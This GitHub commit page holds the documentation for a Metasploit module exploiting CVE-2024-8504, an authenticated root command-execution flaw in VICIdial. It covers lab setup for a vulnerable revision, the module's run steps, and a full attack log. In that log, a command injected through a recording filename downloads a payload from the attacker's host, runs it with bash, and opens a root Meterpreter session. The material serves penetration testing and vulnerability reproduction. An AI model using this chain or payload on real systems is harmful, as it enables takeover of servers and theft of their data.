Skip to content

Commit 8761226

Browse files
authored
Land #19456 VICIdial Auth RCE module
This adds a module to exploit CVE-2024-8504 an authenticated RCE in VICIdial
2 parents 953f6c1 + c2a803a commit 8761226

File tree

2 files changed

+815
-0
lines changed

2 files changed

+815
-0
lines changed
Lines changed: 241 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,241 @@
1+
## Vulnerable Application
2+
3+
This module exploits a single authenticated Remote Code Execution (RCE)vulnerability in VICIdial, affecting version 2.14-917a.
4+
An attacker with valid credentials can execute arbitrary shell commands as the "root" user.
5+
6+
In certain scenarios, attackers may retrieve valid credentials using the SQL
7+
Injection vulnerability with the Metasploit module `auxiliary/scanner/http/vicidial_sql_enum_users_pass`.
8+
This allows attackers to enumerate users and passwords, which can then be used to exploit this RCE vulnerability.
9+
10+
VICIdial does not encrypt passwords by default, making it easier for attackers to use enumerated credentials.
11+
12+
VICIBox/VICIdial includes an auto-update mechanism, so be cautious when creating vulnerable environments for testing.
13+
14+
### Install
15+
16+
#### Version 11.0.1 Setup
17+
18+
1. **Download the ISO**:
19+
[ViciBox_v11.x86_64-11.0.1-md.iso](http://download.vicidial.com/iso/vicibox/server/ViciBox_v11.x86_64-11.0.1-md.iso)
20+
21+
2. **Create a VM**:
22+
- Connect to the shell using the default credentials:
23+
`root:vicidial` (Note: The keyboard layout is QWERTY by default).
24+
25+
3. **Run the setup and reboot the VM**:
26+
- After rebooting, **do not** run the command `/usr/local/bin/vicibox-install` until after the next step.
27+
28+
4. **Vulnerable Revision Setup**:
29+
- Run the following command to install a vulnerable version of VICIdial:
30+
```
31+
svn checkout -r 3830 svn://svn.eflo.net:3690/agc_2-X/trunk /usr/src/astguiclient/trunk
32+
```
33+
- Revision 3830 is vulnerable to both SQL Injection and RCE.
34+
- Note: The CVEs have been patched starting from revision 3848.
35+
36+
5. **Legacy Installation**:
37+
- Run the installation in legacy mode:
38+
```
39+
vicibox-install --legacy
40+
```
41+
42+
6. **Installer Output Example**:
43+
```
44+
vicibox11:~ # vicibox-install --legacy
45+
46+
ViciBox Installer
47+
48+
Legacy mode activated
49+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137.
50+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138.
51+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137.
52+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138.
53+
54+
The installer will ask questions based upon the role that this server is
55+
to provide for the ViciBox Call Center Suite. You should have the database
56+
and optionally archive servers setup prior to installing any other servers.
57+
The installer will not run without there being a configured database! If this
58+
server is to be the database then it must be installed before the archive server.
59+
Verify that all servers are connected to the same network and have connectivity
60+
to each other before continuing. This installer will be destructive to the server if it is run.
61+
62+
Do you want to continue with the ViciBox install? [y/N] : y
63+
64+
Do you want to enable expert installation? [y/N] :
65+
66+
The Internal IP address found was 192.168.1.4.
67+
Do you want to use this IP address for ViciDial? [Y/n] : y
68+
69+
Will this server be used as the Database? [y/N] : y
70+
Do you want to use the default ViciDial DB settings? [Y/n] : y
71+
72+
Will this server be used as a Web server? [y/N] : y
73+
74+
Will this server be used as a Telephony server? [y/N] : y
75+
76+
Will this server be used as an Archive server? [y/N] : y
77+
Archive server IP (192.168.1.4) :
78+
Archive FTP User (cronarchive) :
79+
Archive FTP Password (archive1234) :
80+
Archive FTP Port (21) :
81+
Archive FTP Directory () :
82+
Archive URL (http://192.168.1.4/archive/) :
83+
Use of uninitialized value $localsvn in concatenation (.) or string at /usr/local/bin/vicibox-install line 1513, <STDIN> line 14.
84+
85+
The local SVN is build 240419-1817 version 2.14-916a from SVN
86+
Do you want to use the ViciDial version listed above? [Y/n] : y
87+
88+
Do you want to disable the built-in firewall? [y/N] : y
89+
90+
91+
--- ViciBox Install Summary ---
92+
93+
Expert : No
94+
Legacy : Yes
95+
Database : Yes
96+
Web : Yes
97+
Telephony: Yes
98+
First Srv: Yes
99+
Have Arch: No
100+
Archive : Yes
101+
Firewall : Disabled
102+
103+
--- Configuration Information ---
104+
- Database -
105+
Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 1609, <STDIN> line 16.
106+
SVN Rev :
107+
IP Addr : 192.168.1.4
108+
Name : asterisk
109+
User : cron
110+
Password : 1234
111+
Cust User: custom
112+
Cust Pass: custom1234
113+
Port : 3306
114+
115+
116+
Please verify the above information before continuing!
117+
Do you want to continue the installation? [y/N] : y
118+
119+
120+
Beginning installation, expect lots of output...
121+
122+
Disabling firewall...
123+
Removed /etc/systemd/system/multi-user.target.wants/firewalld.service.
124+
Removed /etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service.
125+
Use of uninitialized value $DBsvnrev in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, <STDIN> line 17.
126+
Use of uninitialized value $localsvn in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, <STDIN> line 17.
127+
Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 218, <STDIN> line 17.
128+
Local SVN revision matches DB revision:
129+
Doing general DataBase requirements...
130+
Doing Master-specific MySQL setup...
131+
Configuring Web Server...
132+
Created symlink /etc/systemd/system/httpd.service → /usr/lib/systemd/system/apache2.service.
133+
Created symlink /etc/systemd/system/apache.service → /usr/lib/systemd/system/apache2.service.
134+
Created symlink /etc/systemd/system/multi-user.target.wants/apache2.service → /usr/lib/systemd/system/apache2.service.
135+
Configuring Telephony Server...
136+
Configuring Archive Server...
137+
Nouveau mot de passe : MOT DE PASSE INCORRECT : trop simple/systématique
138+
Retapez le nouveau mot de passe : passwd: password updated successfully
139+
Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service → /usr/lib/systemd/system/vsftpd.service.
140+
Loading GMT and Phone Codes...
141+
142+
Seeding the audio store, this may take a while...
143+
144+
PLEASE use secure passwords inside vicidial. It prevents hackers
145+
and other undesirables from compromising your system and costing
146+
you thousands in toll fraud and long distance. A secure password
147+
Contains at least one capital letter and one number. A good example
148+
of a secure password would be NrWZDqL1Rg37uuC.
149+
150+
Don't feed the black market, secure your systems properly!
151+
152+
System should be installed. Please type 'reboot' to cleanly load everything.
153+
154+
```
155+
156+
7. **Post-Installation**:
157+
- After installation, **reboot** the system.
158+
- Access the web panel by navigating to the administration page and completing the initial setup.
159+
160+
## Verification Steps
161+
162+
1. Start msfconsole
163+
1. Do: `use exploit/unix/webapp/vicidial_agent_authenticated_rce`
164+
1. Do: `set RHOSTS <ip>`
165+
1. Do: `set USERNAME <username>`
166+
1. Do: `set PASSWORD <password>`
167+
1. Do: `set RPORT <port>`
168+
1. Do: `set TARGETURI <path>`
169+
1. Do: `set SRVPORT <port>`
170+
1. Do: `set FETCH_SRVHOST <ip>`
171+
172+
1. Do: `run`
173+
1. The module will exploit the Remote Code Execution
174+
175+
## Options
176+
177+
## Scenarios
178+
179+
### ViciBox 11.0.1
180+
181+
Using `cmd/linux/http/x64/meterpreter_reverse_tcp`:
182+
183+
```
184+
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > run http://192.168.1.28 username=6666 password=password
185+
[*] Exploit running as background job 12.
186+
[*] Exploit completed, but no session was created.
187+
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) >
188+
[*] Started reverse TCP handler on 192.168.1.36:4444
189+
[*] Running automatic check ("set AutoCheck false" to disable)
190+
[*] VICIdial version: 2.14-705
191+
[+] The target is vulnerable.
192+
[*] Using URL: http://192.168.1.36:5000/piAF2DipO
193+
[*] Server started.
194+
[*] Payload is ready at /
195+
[+] Authenticated successfully as user '6666'
196+
[+] Updated user settings to increase privileges
197+
[+] Updated system settings
198+
[+] Created dummy campaign 'Haley-Huel'
199+
[+] Updated dummy campaign settings
200+
[+] Created dummy list 'Haley-Huel List' for campaign '898934'
201+
[+] Found phone credentials: Extension=callin, Password=test, Recording Extension=8309
202+
[+] Retrieved dynamic field names: MGR_login20240926, MGR_pass20240926
203+
[+] Entered "manager" credentials to override shift enforcement
204+
[+] Authenticated as agent using phone credentials
205+
[+] Session Name: 1727385175_8300defaul11764031, Session ID: 8600051
206+
[*] Generated malicious command: $([email protected]:5000$IFS-o$IFS.Vysha&&bash$IFS.Vysha)
207+
[*] MonitorConf command sent for Channel Local/8309@default on 192.168.1.28
208+
Filename: $([email protected]:5000$IFS-o$IFS.Vysha&&bash$IFS.Vysha)
209+
RecorDing_ID: 10
210+
RECORDING WILL LAST UP TO 60 MINUTES
211+
212+
[+] Stopped malicious recording to prevent file size from growing
213+
[*] Deleting dummy campaign with ID: 898934
214+
[+] Campaign 898934 deleted successfully.
215+
[*] Waiting for 300 seconds to allow the cron job to execute the payload...
216+
[*] Received request at: / - Client Address: 192.168.1.28
217+
[*] Sending response to 192.168.1.28 for /
218+
[*] Sending stage (3045380 bytes) to 192.168.1.28
219+
[*] Meterpreter session 18 opened (192.168.1.36:4444 -> 192.168.1.28:26572) at 2024-09-27 01:14:12 +0200
220+
221+
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > sessions 18
222+
[*] Starting interaction with 18...
223+
224+
meterpreter > pwd
225+
/var/spool/asterisk/monitor
226+
meterpreter > ls
227+
No entries exist in /var/spool/asterisk/monitor
228+
meterpreter > ls /root/
229+
Listing: /root/
230+
===============
231+
232+
Mode Size Type Last modified Name
233+
---- ---- ---- ------------- ----
234+
100600/rw------- 254 fil 2024-09-26 22:31:38 +0200 .bash_history
235+
040700/rwx------ 4096 dir 2022-03-15 12:35:24 +0100 .gnupg
236+
040755/rwxr-xr-x 4096 dir 2023-08-06 12:37:28 +0200 .subversion
237+
100644/rw-r--r-- 35 fil 2023-08-06 12:37:27 +0200 .zypper.conf
238+
040755/rwxr-xr-x 4096 dir 2022-03-15 12:35:24 +0100 bin
239+
240+
meterpreter >
241+
```

0 commit comments

Comments
 (0)